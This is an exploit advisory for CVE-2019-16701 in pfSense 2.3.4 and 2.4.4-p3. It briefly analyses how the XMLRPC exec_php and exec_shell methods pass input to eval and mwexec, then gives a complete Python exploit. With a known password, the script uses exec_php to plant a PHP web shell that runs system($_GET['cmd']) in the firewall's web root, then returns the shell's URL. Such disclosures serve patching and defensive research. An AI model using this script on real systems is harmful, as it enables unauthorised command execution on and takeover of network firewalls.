# Exploit Title: Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection # Date: 23/09/2018 # Author: Nassim Asrir # Vendor Homepage: https://www.pfsense.org/ # Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-b73a57122/ # CVE: CVE-2019-16701 # Tested On: Windows 10(64bit) | Pfsense 2.3.4 / 2.4.4-p3 ###################################################################################################### 1 : About Pfsense: ================== pfSense is a free and open source firewall and router that also features unified threat management, load balancing, multi WAN, and more. 2 : Technical Analysis: ======================= The pfsense allow users (uid=0) to make remote procedure calls over HTTP (XMLRPC) and the XMLRPC contain some critical methods which allow any authenticated user/hacker to execute OS commands. XMLRPC methods: pfsense.exec_shell pfsense.exec_php pfsense.filter_configure pfsense.interfaces_carp_configure pfsense.backup_config_section pfsense.restore_config_section pfsense.merge_config_section pfsense.merge_installedpackages_section_xmlrpc pfsense.host_firmware_version pfsense.reboot pfsense.get_notices system.listMethods system.methodHelp system.methodSignature As we see in the output we have two interesting methods: pfsense.exec_shell and pfsense.exec_php. 2 : Static Analysis: ==================== In the static analysis we will analysis the xmlrpc.php file. Line (73 - 82) This code check if the user have enough privileges. $user_entry = getUserEntry($username); /* * admin (uid = 0) is allowed * or regular user with necessary privilege */ if (isset($user_entry['uid']) && $user_entry['uid'] != '0' && !userHasPrivilege($user_entry, 'system-xmlrpc-ha-sync')) { log_auth("webConfigurator authentication error for '" . $username . "' from " . $this->remote_addr . " not enough privileges"); Line (137 - 146) This part of code is the interest for us. As we can see, first we have a check for auth then we have the dangerous function (eval) which take as parametere ($code). public function exec_php($code) { $this->auth(); eval($code); if ($toreturn) { return $toreturn; } return true; } Line (155 - 160) In this part of code also we have a check for auth then the execution for ($code) public function exec_shell($code) { $this->auth(); mwexec($code); return true; } 3 - Exploit: ============ #!/usr/bin/env python import argparse import requests import urllib2 import time import sys import string import random parser = argparse.ArgumentParser() parser.add_argument("--rhost", help = "Target Uri https://127.0.0.1") parser.add_argument("--password", help = "pfsense Password") args = parser.parse_args() rhost = args.rhost password = args.password print "" print "[+] CVE-2019-16701 - Pfsense - Remote Code Injection" print "" print "[+] Author: Nassim Asrir" print "" command = "<?xml version='1.0' encoding='iso-8859-1'?>" command += "<methodCall>" command += "<methodName>pfsense.host_firmware_version</methodName>" command += "<params>" command += "<param><value><string>"+password+"</string></value></param>" command += "</params>" command += "</methodCall>" stage1 = rhost + "/xmlrpc.php" page = urllib2.urlopen(stage1, data=command).read() print "[+] Checking Login Creds" if "Authentication failed" in page: print "[-] Wrong password :(" sys.exit(0) else: random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(32)]) print "[+] logged in successfully :)" print "[+] Generating random file "+random+".php" print "[+] Sending the exploit ....." command = "<?xml version='1.0' encoding='iso-8859-1'?>" command += "<methodCall>" command += "<methodName>pfsense.exec_php</methodName>" command += "<params>" command += "<param><value><string>"+password+"</string></value></param>" command += "<param><value><string>exec('echo \\'<pre> <?php $res = system($_GET[\"cmd\"]); echo $res ?> </pre>\\' > /usr/local/www/"+random+".php');</string></value></param>" command += "</params>" command += "</methodCall>" stage1 = rhost + "/xmlrpc.php" page = urllib2.urlopen(stage1, data=command).read() final = rhost+"/"+str(random)+".php" check = urllib2.urlopen(final) print "[+] Checking ....." if check.getcode() == 200: print "[+] Yeah! You got your shell: " + final+"?cmd=id" else: print "[+] Sorry :( Shell not found check the path"